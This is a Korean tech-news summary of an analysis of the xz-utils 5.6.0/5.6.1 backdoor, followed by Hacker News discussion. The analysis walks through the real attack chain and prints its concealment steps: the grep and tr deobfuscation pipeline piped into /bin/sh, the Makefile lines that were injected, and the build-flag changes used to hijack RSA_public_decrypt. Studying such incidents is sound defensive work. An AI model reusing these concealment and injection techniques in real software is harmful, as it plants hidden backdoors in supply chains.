1P by GN⁺ | ★ favorite | 댓글 1개
  • xz 공격은 configure 단계의 쉘 코드 주입과 make 단계의 객체 파일 주입으로 나뉘며, 이 분석은 xz 5.6.0·5.6.1 배포 tarball의 스크립트가 백도어 객체 파일을 빌드에 끼워 넣는 과정을 추적함
  • 악성 코드와 객체 파일은 tests/files바이너리 테스트 입력 파일처럼 압축·암호화되어 숨겨졌고, “손으로 만든 테스트 파일”이라는 기존 README 설명이 위장을 쉽게 만듦
  • m4/build-to-host.m4에 추가된 코드는 bad-3-corrupt_lzma2.xz를 찾아 trxz -d로 복원한 뒤 /bin/sh로 실행하며, 5.6.1에는 새 테스트 파일에서 추가 스크립트를 찾는 확장 메커니즘도 들어감
  • configure 스크립트는 src/liblzma/Makefilelibtool을 고쳐 make 중에도 숨겨진 스크립트를 다시 실행하게 만들고, -z,now와 PIC 관련 플래그를 조정해 ifunc resolver가 초기 동적 링크 시점에 실행되도록 함
  • make 단계에서는 good-large_compressed.lzma에서 악성 객체를 추출·복호화한 뒤 crc64_fast.ccrc32_fast.c 빌드 산출물을 바꿔치기해, _get_cpuid 경유로 RSA_public_decrypt 호출을 가로채게 함

공격의 전체 구조

  • Andres Freund는 2024-03-29 공개 oss-security@openwall 메일링 리스트에 xz 공격의 존재를 알림
    • 전날 Debian security와 비공개 distros@openwall 리스트에도 알림
    • 계기는 Debian sid 설치에서 liblzma 관련 이상 증상, 즉 SSH 로그인 시 높은 CPU 사용과 Valgrind 오류를 본 것이었음
  • 공격은 크게 두 단계로 구성됨
    • configure 중 쉘 코드가 주입됨
    • 이 쉘 코드가 make에 다시 쉘 코드를 주입하고, make 중 악성 객체 파일을 빌드에 추가함
  • 악성 객체 파일을 evil.o처럼 저장소에 직접 넣으면 의심을 사기 쉬우므로, 공격자는 쉘 코드와 객체 파일을 바이너리 테스트 입력 파일 안에 압축·암호화해 숨김
  • tests/files 디렉터리는 Jia Tan이 등장하기 전부터 존재했고, README는 .xz, .lzma, .lz 디코더 구현을 테스트하기 위한 파일들이며 일부는 hex editor로 직접 만들어 “파일 자체보다 나은 소스 코드가 없다”고 설명함
  • 공격자는 이 맥락을 이용해 몇 개의 새 테스트 파일을 추가하는 것처럼 보이게 함

백도어가 노린 실행 지점

  • 스크립트의 최종 효과는 악성 객체 파일의 _get_cpuid 함수가 GNU indirect function(ifunc) resolver의 일부로 호출되게 만드는 것임
  • ifunc resolver는 일반적으로 프로그램 실행 중 지연 호출될 수 있지만, 보안상 동적 링크 초기에 모두 호출하고 GOT·PLT를 읽기 전용으로 매핑하는 방식이 널리 쓰임
  • 악성 ifunc resolver는 GOT·PLT가 아직 쓰기 가능한 초기 시점에 실행될 수 있음
  • 백도어는 테이블에서 RSA_public_decrypt를 찾아 공격자 버전으로 대체함
  • 대체된 함수는 올바른 SSH 인증서가 제시될 때 공격자 코드를 실행함

configure 단계: build-to-host.m4 위장

  • xz-utils는 GNU autoconf를 사용하며, 일반적으로 configure와 지원 m4 파일은 소스 저장소가 아니라 tarball 배포본에 포함됨
  • 공격은 xz 5.6.0과 xz 5.6.1 tarball에 예상 밖의 지원 라이브러리 m4/build-to-host.m4를 추가하면서 시작됨
  • 악성 build-to-host.m4는 표준 파일과 비교해 그럴듯한 변경을 포함함
    • serial을 3에서 30으로 올림
    • 저작권 연도를 2023에서 2023-2024로 바꿈
    • 알아보기 어려운 쉘·m4 변경을 몇 가지 추가함
  • 실제 핵심은 grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/로 배포본 안의 특정 패턴을 찾는 코드임
    • 이 패턴에 매칭되는 파일은 ./tests/files/bad-3-corrupt_lzma2.xz
    • 결과적으로 gl_am_configmake는 이 테스트 파일을 가리킴
  • gl_path_maptr "\t \-_" " \t_\-"로 설정되어 탭·공백, 밑줄·대시를 서로 바꿈

숨겨진 첫 번째 스크립트 복원

  • gl_[$1]_prefix는 파일명에서 마지막 점 뒤 요소를 추출해 xz가 됨
    • 이름은 prefix처럼 보이지만 실제로는 파일 확장자임
    • 빌드 머신에 이미 설치되어 있을 가능성이 높은 압축 명령 이름이 됨
  • 이후 만들어지는 명령 문자열은 겉보기에는 sed "r\n"을 쓰지만, 실제로는 난독화된 cat에 가까움
    • sedr\n은 존재하지 않는 파일 \n을 읽으려는 명령이어서 아무 일도 하지 않음
    • -n이 없으므로 입력을 그대로 출력함
  • 실제 실행되는 명령은 다음과 같은 형태임
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  • 이 명령은 AC_CONFIG_COMMANDS를 통해 config.status 실행 과정에서 평가됨
  • 복원된 출력에는 ####Hello########World####가 보이며, README에 따르면 bad-3-corrupt_lzma2.xz의 첫 번째와 세 번째 스트림은 유효한 xz 스트림이고 가운데 스트림만 LZMA2 데이터가 손상되어 있음

5.6.0과 5.6.1의 차이

  • xz 5.6.0에서 복원된 첫 번째 스크립트는 good-large_compressed.lzma에서 특정 바이트 범위를 잘라내고 변환한 뒤 raw LZMA 스트림으로 풀어 /bin/sh에 전달함
  • xz 5.6.1의 첫 번째 스크립트는 Linux가 아니면 종료하려는 줄을 다섯 번 포함함
    • [ ! $(uname) = "Linux" ] && exit 0
    • 이후 분석 대상이 되는 긴 스크립트 안에도 5.6.1 전용 Linux 확인 줄이 있음
    • 그 줄은 = 주변 공백이 없어 동작하지 않는 버그가 있음
  • 5.6.1은 head의 마지막 바이트 수, tail 오프셋, tr 인자가 5.6.0과 다름
    • 예시에서 5.6.1은 16×2048+939 = 33,707바이트를 추출함
    • 이후 tail -c +31233로 마지막 31,233바이트를 사용함
  • 추출 파이프라인은 다음 단계로 구성됨
    • xz -dcgood-large_compressed.lzma를 압축 해제
    • head 파이프라인으로 특정 바이트 범위 추출
    • tail로 후반부 선택
    • tr로 단순 치환 암호 적용
    • xz -F raw --lzma1 -dc로 raw LZMA 스트림 해제
    • 결과를 /bin/sh로 실행

5.6.1의 확장 메커니즘

  • 긴 스크립트에는 설정되지 않은 변수들을 eval하는 지점이 여러 개 있음
    • 예: eval $zrKcVq, eval $zrKcSS
    • 디버그 출력용이거나 향후 다른 메커니즘에서 값을 설정하는 확장 지점일 가능성이 있음
  • config.status가 있으면 스크립트는 LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map 등을 읽음
  • 5.6.1에 새로 들어간 확장 코드는 tests/files에서 두 매직 문자열을 찾음
    • 시작 문자열: ~!:_ W
    • 종료 문자열: |_!{ -
  • 두 문자열이 같은 파일 안에 있으면 그 사이 바이트를 추출하고, tr와 raw LZMA2 해제를 거쳐 출력물을 eval
  • 이 메커니즘은 나중에 기존 바이너리 테스트 파일을 다시 생성했다는 이유를 만들지 않고도, 다른 테스트 파일 안에 새 스크립트를 넣기 위한 구조로 보임

configure 단계의 실행 조건

  • 스크립트는 백도어가 필요한 조건이 맞지 않으면 조용히 종료함
  • GNU ifunc 지원이 활성화되어 있어야 함
    • config.status["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"이 있어야 함
    • config.hdefine HAVE_FUNC_ATTRIBUTE_IFUNC 1이 있어야 함
  • 공유 라이브러리 빌드가 켜져 있어야 함
    • enable_sharedyes여야 함
  • 빌드 대상은 x86-64 Linux여야 함
    • build^x86_64linux-gnu$ 조건을 만족해야 함
  • CRC ifunc 관련 소스가 그대로 있어야 함
    • crc64_fast.c
    • crc32_fast.c
    • crc_x86_clmul.h
  • 컴파일러와 링커 조건도 확인함
    • GCC=yes
    • CC=gcc
    • LD -v 출력에 GNU ld 포함
  • 백도어가 들어 있는 테스트 파일 good-large_compressed.lzmabad-3-corrupt_lzma2.xz가 있어야 함

Makefile과 libtool 수정

  • debian/rules가 있거나 RPM_ARCH=x86_64이면 configure 단계에서 src/liblzma/Makefile을 수정하는 코드가 실행됨
  • 먼저 Makefile 안에 나중에 삽입 지점으로 쓸 여러 줄이 존재하는지 확인함
    • ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
    • am__uninstall_files_from_dir = {
    • am__install_max =
    • am__vpath_adj_setup =
    • am__include = include
    • all: all-recursive
    • LTLIBRARIES = $(lib_LTLIBRARIES)
    • AM_V_CCLD = $(am__v_CCLD_$(V))
  • libtool에는 pic_flag=" -fPIC -DPIC"가 있는지 확인함
  • 이후 sed -i로 Makefile 곳곳에 다음 성격의 줄들을 흩어 넣음
    • am__test = bad-3-corrupt_lzma2.xz
    • am__strip_prefix = tr ...
    • am__dist_setup = ... | xz -d ... | $(SHELL)
    • am__test_dir = $(top_srcdir)/tests/files/$(am__test)
  • am__test_dir는 이름상 디렉터리처럼 보이지만 실제로는 파일을 가리킴
  • 추가된 줄들은 한곳에 모여 있지 않고 Makefile 곳곳에 삽입되어, 생성된 Makefile이 그럴듯하게 복잡해 보이도록 구성됨

링커 플래그와 재귀 실행

  • configure 단계의 스크립트는 liblzma_la_LDFLAGS-Wl,--sort-section=name,-X를 추가함
  • 기존 LDFLAGS-z,now 또는 -z -Wl,now가 없으면 -z,now도 추가함
  • -Wl,now는 동적 로더가 프로그램 시작 시점에 모든 심볼을 해석하게 만들어 LD_BIND_NOW 동작을 강제함
    • 이 과정에서 ifunc resolver가 시작 시점에 실행됨
    • 백도어는 GOT·PLT가 아직 쓰기 가능한 때 실행될 수 있음
  • libtool의 PIC 플래그는 다음처럼 바뀜
    • 기존: -fPIC -DPIC
    • 변경: -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
  • 스크립트는 AM_V_CCLD와 긴 쉘 조각도 Makefile에 추가함
    • 마지막에는 sed rpath $(am__test_dir) | $(am__dist_setup)를 실행함
    • sed rpath 역시 난독화된 cat 역할을 함
  • 결과적으로 make 중 다음과 같은 파이프라인이 다시 실행됨
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

make 단계: 객체 파일 추출

  • make 단계에서는 src/liblzma 디렉터리에서 스크립트가 다시 실행됨
  • config.status가 현재 디렉터리에 없으므로 configure 단계의 Makefile 편집 부분은 건너뜀
  • 대신 .libs/liblzma_la-crc64_fast.o.libs/liblzma_la-crc32_fast.o가 있으면 make 중이라고 판단하고 다음 코드를 실행함
  • 5.6.1에는 make 단계용 확장 훅도 새로 들어감
    • 시작 문자열: jV!.^%
    • 종료 문자열: %.R.1Z
    • 해당 문자열을 가진 테스트 파일은 없으며, 향후 확장용 구조로 보임
  • CRC ifunc 관련 소스가 예상대로인지 다시 확인함
  • configure 단계에서 추가한 컴파일·링커 플래그가 적용되었는지도 확인함
    • ../../libtool에 추가 PIC 플래그가 있어야 함
    • liblzma_la_LINK-z,now 또는 -z -Wl,now가 있어야 함
    • lazy가 들어 있으면 종료함

악성 객체의 복호화와 선택

  • 스크립트는 gettext.m4 내용에 따라 두 오프셋 값 중 하나를 선택함
    • 배포된 xz tarball의 gettext.m4에는 검사 문자열이 없으므로, 예시 빌드에서는 전체 입력을 취함
  • good-large_compressed.lzma를 다시 압축 해제하고, 앞서 설정된 head 파이프라인 i로 33,707바이트를 추출함
  • 그 출력을 바이트 단위로 나눈 뒤 awkRC4 유사 복호화 함수를 실행함
    • 5.6.1 버전은 두 번째 루프가 8192까지 반복됨
    • 5.6.0 버전은 같은 위치의 루프가 4096까지 반복됨
  • 복호화된 출력은 xz -dc --single-stream으로 다시 압축 해제됨
    • --single-stream은 첫 번째 xz EOF 마커에서 멈추게 하여, 앞서 tail로 추출했던 구간을 읽지 않게 함
  • 최종 결과는 liblzma_la-crc64-fast.o에 쓰임

CRC 객체 바꿔치기

  • 스크립트는 실제 빌드 산출물 .libs/liblzma_la-crc64_fast.o를 비슷한 이름의 .libs/liblzma_la-crc64-fast.o로 백업함
    • 밑줄(crc64_fast)과 하이픈(crc64-fast) 차이를 이용함
  • 이어서 crc64_fast.csed로 수정한 내용을 컴파일하고, 추출한 악성 객체 liblzma_la-crc64-fast.o를 함께 입력으로 넣어 .libs/liblzma_la-crc64_fast.o를 덮어씀
  • 삽입되는 C 코드는 _is_arch_extension_supported를 새로 만들고, 내부에서 _get_cpuid를 호출함
  • 기존 crc64_resolveis_arch_extension_supported() 대신 _is_arch_extension_supported()를 호출하도록 바뀜
  • _get_cpuid는 백도어 객체 파일이 제공하는 함수이며, cpuid 정보를 반환하기 전에 추가 동작을 수행함
    • 특히 GOT·PLT를 고쳐 RSA_public_decrypt 호출을 가로챔

crc32 쪽 처리와 정리

  • crc64 수정이 성공하면 스크립트는 crc32_fast.c에도 비슷한 수정을 적용함
  • crc32 쪽에는 백도어 객체 파일을 추가하지 않음
    • 빌드에 백도어 객체를 두 번 넣지 않기 위함
  • 왜 crc32와 crc64 ifunc를 모두 가로채는지는 명확하지 않음
    • 둘 중 하나만으로도 충분해 보인다고 분석됨
    • 디버거에서 두 디스패치 코드가 비슷해 보이게 하려 했을 가능성이 있음
  • 두 컴파일이 성공하면 liblzma_la_LINK.la 파일을 다시 링크함
  • 링크가 성공했지만 .libs/liblzma.so가 없으면 실패로 간주하고 백업을 복원함
  • 성공 여부와 관계없이 .libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so*를 삭제함
    • 이후 Makefile의 원래 링크 단계가 다시 생성할 것으로 전제함
  • 실패 경로에서는 백업된 crc32·crc64 객체를 원래 이름으로 되돌림
  • 마지막에는 임시·백업 파일을 지우며, make 산출물 안에 악성 객체를 주입하고 흔적을 남기지 않도록 동작함

댓글과 토론

Hacker News 의견들
  • 오랫동안 autotools를 싫어해 온 입장에서는 이번 일이 내 입장을 정당화한다고 말하고 싶지만, 다중 플랫폼을 지원할 만큼 복잡한 빌드 시스템이라면 누군가 이런 걸 끼워 넣을 만큼 불가해해질 수밖에 없음
    그래도 많은 소프트웨어가 사실상 아무도 전체를 이해하지 못하는 거대한 카고 컬트식 셸 스크립트로 빌드된다는 건 정말 문제임

    • bash와 복잡하고 조밀한 문법을 가진 언어가 흔히 쓰이는 게 근본 원인이라고 봄
      빌드 스크립트가 Python으로 작성됐다면 백도어를 난독화하기 훨씬 어려웠을 것임. 이상한 코드라는 게 모두에게 보였을 테니까. bash 코드는 읽을 수 없어도 그냥 정상이라고 여겨지는 경향이 있음
    • autotools에 대한 비판은 이해하고, 설정 스크립트를 유지보수하던 사람들을 부러워한 적도 없지만, 사용자 입장에서는 거의 모든 소프트웨어 설치가 ./configure && make && make install 로 끝나던 시절이 그립다
    • autotools는 사라져야 하지만, 빌드 시스템 복잡성을 만드는 근본 사용 사례 대부분은 의존성 관리와 감지로 귀결됨
      그 흐름에 대한 모범 사례가 완전히 부족한 것이 복잡성의 뿌리라서, 이런 조건에서는 mybuild.toml 같은 빌드 설정 하나로 해결될 수 없음
    • 동의하며, 결국 이렇게 넓은 플랫폼 범위를 지원하려다 보니 복잡한 시스템이 필요해지고, 그 때문에 우리가 얼마나 큰 위험을 감수하는지 묻게 됨
      그리고 압축 라이브러리처럼 본질적으로 수학과 메모리 할당 정도만 하면 되는 것을 빌드하는 데 왜 복잡한 시스템이 필요해진 건지도 의문임
    • 나도 같은 생각임. 이 모든 사태를 m4 탓으로 돌리고 싶은 유혹이 크지만, 그건 트라우마가 말하는 것에 가까움
  • 개발자로서 놀랍고, 내 눈에는 최상급 공격 방식처럼 보이는 것도 이 단계에서 일하는 사람들에게는 아마 초중급 난이도일 수 있음을 보여줌
    HN에 올라오는 것 중에는 이보다 훨씬 높은 수준도 있으니, 충분한 돈이나 다른 유인이 있다면 가능한 일의 시작에 불과하다고 봄. GitHub의 수많은 패키지와 수백만 라이브러리를 생각하면 이 벡터는 너무 효과적이라, 앞으로 몇 달 안에 비슷한 사례가 수백 건 드러날 것이라고 확신함
    Philips Hue부터 Alexa, SumUp, 카메라 제조사, Netgear, TP-Link까지 소비자·프로슈머 하드웨어 업체들이 걱정됨. 제품 안에는 오픈소스 라이브러리가 가득하고, 대부분의 개발팀이 이런 은밀한 주입 벡터를 찾는 데 시간을 쓰지 않는다고 100% 확신함

    • “대부분의 개발팀이 이런 은밀한 주입 벡터를 찾는 데 시간을 쓰지 않는다”는 논리는 이해하기 어렵고, 의존성 지옥을 비난하는 쪽이 이 시나리오로 오픈소스 유지보수자를 더 나쁘게 보이게 하려는 느낌임
      신뢰성을 내세우는 상업 조직이라면 의존성을 채택하기 전에 공급망 분석을 함. 그래서 보통 안정적인 Linux 배포판 유지를 위해 Red Hat에 돈을 내고, FreeBSD 같은 프로젝트가 기본 설치에 포함하는 소프트웨어를 강하게 제한하는 것임
      이번 일에 영향을 받았다면 안타깝지만 그건 당신 책임. 공짜 맥주처럼 무료로 쓰는 소프트웨어 개발자가 돌변할까 걱정된다면 그러지 않을 유인을 제공하든, 즉 돈을 내든, 아니면 프로젝트를 포크해서 자체 보안 조치를 얹어야 함
      상용 소프트웨어의 의존성에서 공급망 공격이 발생할까 걱정된다면, 그 피해 보상을 포함한 계약을 협상해야 함. 그럴 의지가 없다면 프로답지 못한 것임
      덧붙이면, SSH 같은 가장 기본적인 의존성도 공급망을 점검해야 한다고 진지하게 말하는 것임
    • 오히려 그 반대임. 우리보다 더 잘 아는 개발자와 유지보수자들은 이 사건을 고도로 정교한 공격이라고 묘사했음
      초기 정보보안 글들도 코드 일부만 설명할 수 있었고, 공격의 전체 전략까지는 다루지 못했음. 공격과 코드가 정교했기 때문임. 초기 분석들이 서로 다르게 공격을 설명한 것도 이해하기 단순하지 않았기 때문이고, 나중에야 “마침내 원격 코드 실행 공격으로 보인다”는 식의 글이 나왔음
      이제는 서버에서 취약점을 탐지하는 스캐너까지 나왔으니 모두가 “아, 저건 너무 단순하고 멍청한 공격이었는데 왜 더 일찍 못 찾았지?”라고 말할 수 있게 된 것뿐임
    • 그래서 TP-Link가 라우터 펌웨어를 OpenWRT 기반으로 만든다고 해서 이득이라고 보지 않음. 내 기기에서는 순정 업스트림 프로젝트나 설계상 업스트림을 추적하는 무언가가 돌아가길 원함
      모든 기기에 똑같이 적용됨. Android가 오래된 커널을 써야 하는 것도 싫고, macOS가 낡은 Darwin/BSD 계열을 돌리던 것도 마음에 들지 않았음. 백포팅에 필요한 노력이 걱정됨
      물론 오픈소스에 취약점이 없다는 뜻은 아님
    • 어느 정도 제대로 운영되는 조직이라면 의존성에 보안 이슈가 생겼을 때 업데이트를 받는 메커니즘이 있음. 업종에 따라 PCI 같은 규제기관이나 인증기관이 요구하기도 함
      오히려 거의 발견되지 않을 독점 소프트웨어 내부의 보이지 않는 백도어를 더 두려워해야 할지도 모름
  • Thomas Roccia의 인포그래픽이 아직 여기서 언급되지 않은 것 같음: https://twitter.com/fr0gger_/status/1774342248437813525

    • 상당 부분은 근거 없이 억지로 단서를 잇는 느낌임
      예를 들어 oss-fuzz는 GitHub 저장소를 직접 복제해서 xz를 빌드하고 있었음. 백도어는 저장소가 아니라 tarball에만 있었기 때문에 oss-fuzz가 백도어를 발견할 가능성은 없었음. 따라서 그 oss-fuzz PR은 백도어와 무관한 진짜 변경일 수도 있음
    • Jia Tan은 공개 직전에 배포판들에게 빠른 업데이트를 요청했음
      Andreas Freund 주변에서 백도어가 공개될 것이라는 사실을 더 일찍 알게 된 또 다른 계정이나 인물이 있었을 가능성은 어느 정도일까. 아직도 주변에 다른 내부자가 있을 가능성도 생각하게 됨
    • 이 자료는 익스플로잇이 liblzma에 심어지는 과정을 높은 수준에서 일부 보여줄 뿐, 익스플로잇이 어떻게 동작하는지나 그 내용은 전혀 다루지 않음
    • 타임라인을 보면 공격은 .gitignore 파일에 무시 항목을 추가하는 것에서 시작됨. 요즘에는 이런 걸 감지하기 어렵다
  • 순진한 방관자 입장에서 가장 눈에 띄는 부분은 이거임
    “많은 파일이 헥스 편집기로 수작업 생성됐으므로 파일 자체보다 더 나은 ‘소스 코드’는 없다.” liblzma 같은 파싱 라이브러리에서는 그럴 수 있다는 점은 이해됨. 공격자는 그냥 새 테스트 파일 몇 개를 추가하는 것처럼 보였을 것임
    파일 자체가 무섭긴 하지만 이유는 알겠음. 그래도 최소한 빌드에서는 떼어놓을 수 있지 않나
    “보통 configure 스크립트와 지원 라이브러리는 소스 저장소가 아니라 tarball 배포본에만 추가된다. xz 배포도 이런 식이다.”
    autotools에 대한 의례적인 분노는 제쳐두고, 왜 tarball에 테스트 파일이 들어가야 하는지 모르겠음. 악성 테스트가 개발자 머신을 감염시킬 수도 있겠지만, tarball이 최종 산출물을 빌드하기 위한 것이라면 필요한 것만 포함하는 정책이어야 하지 않나. 특히 테스트 파일이 감사 불가능한 바이너리 덩어리라면 더더욱 그렇다

    • 빌드 후 특정 환경에서 문제가 없는지 확인하려고 CI에서 테스트를 돌리는 건 꽤 흔함
      다만 우리가 마지막으로 그렇게 했을 때는 업스트림 Git을 선호했고, 필요한 autoconf 산출물은 직접 생성했음. Git에 없는 내용이 들어간 릴리스 tarball이라는 개념은 늘 마음에 들지 않았음
    • 생성된 autoconf 코드가 어느 정도 들어 있더라도, 그것들은 여전히 소스 tarball
      대상 머신에서 코드를 컴파일한 뒤 테스트를 실행할 수 있어야 함
    • 대상에서 컴파일된 프로그램이 제대로 동작하는지 검증하는 것 외에도, 프로파일 기반 최적화로 컴파일하려면 최적화할 실행 예제가 필요하므로 테스트가 필요함
  • “첫 번째 차이는 스크립트가 Linux에서 실행되지 않으면 반드시, 아주 확실히 종료되도록 한다는 점이다.”
    반복적인 검사는 확실히 미스터리임. 내 가설은 공격자가 압축 라이브러리의 테스트 입력처럼 그럴듯해 보이게 하려고 반복을 넣었을 수 있다는 것임

    • 스크립트 변경 공간을 확보하려는 목적일 수 있음. 스크립트의 앞부분 바이트를 덮어쓸 수 있으니까
      아니면 그냥 게으름일 수도 있음
    • 나도 이상하다고 생각했음. 스크립트 시작 부분에는 서로 다른 임의 바이트도 붙어 있는데, 텍스트가 아니라 실제 임의 바이트임. 다만 해시 기호가 앞에 있어서 주석 처리되므로 스크립트에는 영향을 주지 않음
      의도적인 것 같지만 왜 있는지는 모르겠음. xz가 입력이 너무 짧거나 복잡하지 않으면 압축을 건너뛰는 식이라 크기를 채우려고 추가한 건가 싶었지만, 제거한 뒤 xz로 다시 압축해도 제대로 압축되고 원래 평문은 압축 아카이브 바이트에 남지 않았음
      Git에 커밋된 .xz 파일의 정확한 바이트를 재현하려고 하면서 알아낸 점은, 그 스크립트의 xz 스트림이 기본 xz 프리셋으로 압축된 것 같지 않다는 것임. xz --lzma2=dict=65536 -c stream_2를 써야 재현할 수 있었고, 기본 번호 프리셋들은 모두 다른 사전 크기를 선택했음. 이것도 의도적으로 보이지만 이유는 이해하지 못했음
    • 압축된 테스트 파일의 일부를 키우거나 난독화하려는 목적일 수 있지 않을까
      반복이 없으면 압축 파일 안에 보안 도구나 백신을 건드리는 이상한 바이너리가 생겼을 가능성도 있음
    • 정말 미스터리일까? 공격자는 아마 Linux x86 대상을 염두에 두었고, IFUNC 지원이 다른 플랫폼에서 동작한다고 보장되지는 않음
    • Linux가 아닌 곳에서 실행되면 운영체제 차이 때문에 충돌하거나 흔적을 남겨 발각될 수 있었을지도 모름
  • 현대 기술이 극악하게 복잡하고 불필요하게 불가해해졌다는 게 비극적으로 웃기고, 점점 더 나빠지고 있음. 개발자들이 가학적으로 그걸 즐기는 것 같음

    • 이건 아마 최악의 해석임
      우리가 만드는 제품의 복잡도가 커지는 데 맞춰 도구들이 따라가는 건 꽤 놀라운 일임. 솔직히 대부분의 경우는 그냥 더 단순해지고 있으며, 사람들이 새 것을 배우기 싫어하는 것에 가깝다고 봄
  • 이 프로젝트에 침투하도록 이 사람들을 고용한 누군가는 오랫동안 탐지를 피하게 만들려고 엄청난 시간을 쏟았을 것임. 다행히 너무 복잡해서 모든 요소를 다 고려하지 못했음
    그래서 보안 면에서 오픈소스가 항상 폐쇄 소스보다 나을 것이라고 봄. 물론 이번 사건은 공급망의 거대한 결함을 드러냈고, FOSS의 기반 요소가 얼마나 과소평가되어 유지보수자가 조작에 취약한지도 보여줌
    하지만 같은 공격이 사기업 안에서 일어났다면? 고급 난독화조차 필요 없었을 가능성이 큼. 충분히 큰 PR과 다가오는 마감이 있으면 최소한의 노력으로 운영 시스템에 이런 걸 몰래 넣을 수 있음. 회사가 무슨 일이 있었는지 알아차릴 때쯤이면 이미 범죄인 인도 조약이 없는 나라로 날아가 Tor나 다크웹에서 유출 데이터를 팔고 있을 것임

    • 여기에는 생존자 편향이 있다고 봄. 비슷한 시도 중 성공한 게 얼마나 되는지 어떻게 알 수 있나? 발견된 것 중 얼마나 많은 것이 단순 실수로 치부됐을까? 예컨대 Heartbleed가 누군가 의도적으로 넣은 것이 아니며, 그 누군가가 지금 엄청나게 부자가 된 게 아니라고 어떻게 확신할 수 있나
      사기업에 채용되면 회사는 당신이 누구인지 앎. 그 자체가 수상한 짓을 막는 즉각적인 억제력임. GitHub에서는 아무도 당신이 누구인지 모름. 들키지 않고 프로젝트에 백도어를 넣기는 더 어려울 수 있지만, 들켜도 감수할 위험이 없음. 원하는 만큼 계속 시도할 수 있음. Jia Tan은 여전히 잡히지 않았고, 범죄인 인도 조약이 없는 나라에서 살기 위해 인생 전체를 설계할 필요도 없었음. 이미 그런 곳에 있는 게 아니라면
    • 동의하기 어려움. 대부분의 사기업은 입사할 때 대면 미팅을 요구할 것임. 완전 원격이라도 언젠가는 동료를 실제로 만날 것이라는 기대가 있고, 보통 의미 있는 커밋을 하기 전일 가능성이 높음. 침투할 가치가 있는 회사라면 거의 확실히 신원조회를 요구함
      그리고 일단 들어간 뒤에도 목표 프로젝트에 마음대로 커밋할 수 없음. 매니저와 그 위 매니저에게는 다른 우선순위가 있음. 영리 기업의 자주 기능장애적인 관리는 오히려 여기서 억제력으로 작동함. 코드 자체를 정당화해야 할 뿐 아니라, 애초에 왜 그 작업을 하고 있었는지도 설명해야 함
    • 약간 주제에서 벗어나지만, 요즘 미국 기준으로 실제로 범죄인 인도 조약이 없는 나라가 얼마나 될까
      관계가 껄끄러운 나라들도 정치적으로 편리하면 협상 일부로 인도할 수 있음. 러시아도 Snowden이 국가 기밀을 폭로한 게 아니었다면 붙잡아두지 않았을 가능성이 큼. 그냥 평범한 데이터 유출이었다면 다른 곳에서 돈세탁으로 잡힌 올리가르히와 포로 교환했을지도 모름
    • 작고 비교적 무해해 보이지만 거의 어디에나 쓰이는 프로젝트들을 조사해서, 같은 방식으로 다뤄질 수 있는지 또는 이미 비슷한 일이 있었는지 살펴보는 건 수업 프로젝트로 흥미로울 수 있음
      목록을 만드는 것만으로도 유용할 것임
  • 이번 사건에서 얻은 교훈은, 중요한 오픈소스 프로젝트의 핵심 기여자에게 익명성을 허용해서는 안 될지도 모른다는 것임. 이 공격은 성공했고 공격자는 아마 아무 대가 없이 빠져나갈 텐데, 익명이었기 때문임

    • 반대함
      그런 조치는 도움이 되지 않을 것이고, 국가 행위자나 유사한 지능형 지속 위협에게는 공격 단계에 신원 도용을 하나 더 추가하거나, 백도어가 발견돼도 보호할 수 있는 요원을 쓰면 되므로 쉽게 우회 가능함
      반면 그런 절차에 필요한 기술적 장벽은 전체 오픈소스 커뮤니티에 큰 피해를 줄 가능성이 큼
      여기서의 해결책은 이 공격에서 배워 비슷한 공격을 더 어렵게 만드는 관행으로 바꾸는 것임. 저장소에 없는 파일은 릴리스 tarball에 절대 넣지 말아야 함. 그 결과 생성된 코드는 모두 체크인해야 하고, 빌드 스크립트는 파생 코드를 다시 생성한 뒤 체크인된 코드와 다르면 실패해야 함. 이해하기 어려운 데이터는 릴리스 빌드 과정에서 접근할 수 없어야 하며, 바이너리 데이터에 의존하는 테스트는 릴리스 바이너리와 완전히 분리해서 빌드해야 함
    • 두 가지 문제가 있음
      첫째, 특히 보안 분야의 중요한 기여자 중 상당수는 타당한 이유로 가명 활동을 선호함. 신원 공개를 강요하면 그들을 밀어내게 됨
      둘째, 많은 사람이 추측하듯 정보기관이 배후라면 그런 기관은 어차피 “진짜” 신원을 만들어낼 수 있음. 결국 도움이 되는 사람은 배제하고 공격자는 배제하지 못하게 됨
    • 시행이 불가능할 뿐 아니라, 좋은 생각이 아닐 수도 있음. 중요한 오픈소스 프로젝트 유지보수자의 신원을 알게 되면 그들에게 압박을 가하기가 더 쉬워지기 때문임
    • 이게 국가 행위자라면, 실제로 그렇게 보이는데, 어떤 검증을 할 수 있나? 운전면허, 사회보장번호, 국가 신분증, 여권 등 무엇이든 합법적인 서류를 만들어낼 수 있을 것임
      정부가 개입돼 있다면 한계가 없음. 유일한 방법은 신뢰할 수 있는 장소에 물리적으로 출석하도록 요구하는 것인데, 그 장소가 공격자의 관할권이 아니기를 바라는 수밖에 없음
    • 무엇을 누가 중요한 프로젝트로 지정하나
      누군가 라이브러리를 만들고 다른 사람들이 쓰기 시작하면 신원을 공개하도록 강제되는 건가? 유지보수자는 돈을 받나?
  • 폐쇄든 공개든 개발 일을 해봤다면, 개발자들이 절반쯤은 게으르게 PR을 그냥 승인한다는 걸 알 것임. Linus Torvalds는 하루 종일 문제를 지적하는 드문 예외에 가까움

    • 동의함
      누군가 실제로 꼼꼼하게 신경 쓸 만큼 까다로우면, 그 사람은 개발을 막는 골칫거리로 여겨지기 쉬움. 트집 잡는다는 이유로 팀과 긴장이 생김
      공개하자면 지금 나도 비슷한 상황이 있음. 내가 까다로운 쪽은 아니고, 내가 고용한 개발자 중 한 명이 그렇음. 안타깝게도 그의 꼼꼼한 행동이 좋은 평가를 받지 못해서 팀에서 빼야 했음. 동유럽 출신이라 피드백을 매우 직설적으로 주는 편인 것도 도움이 되지 않았음
  • Unix 유틸리티들은 오랫동안 검증돼 왔음. 커널과 핵심 유틸리티는 고정하고 바꾸지 않았으면 함. 정말 필요하지 않다면 말임
    고장 나지 않았으면 고치지 말라는 것임. 소프트웨어 제국이 통제 불능처럼 보임

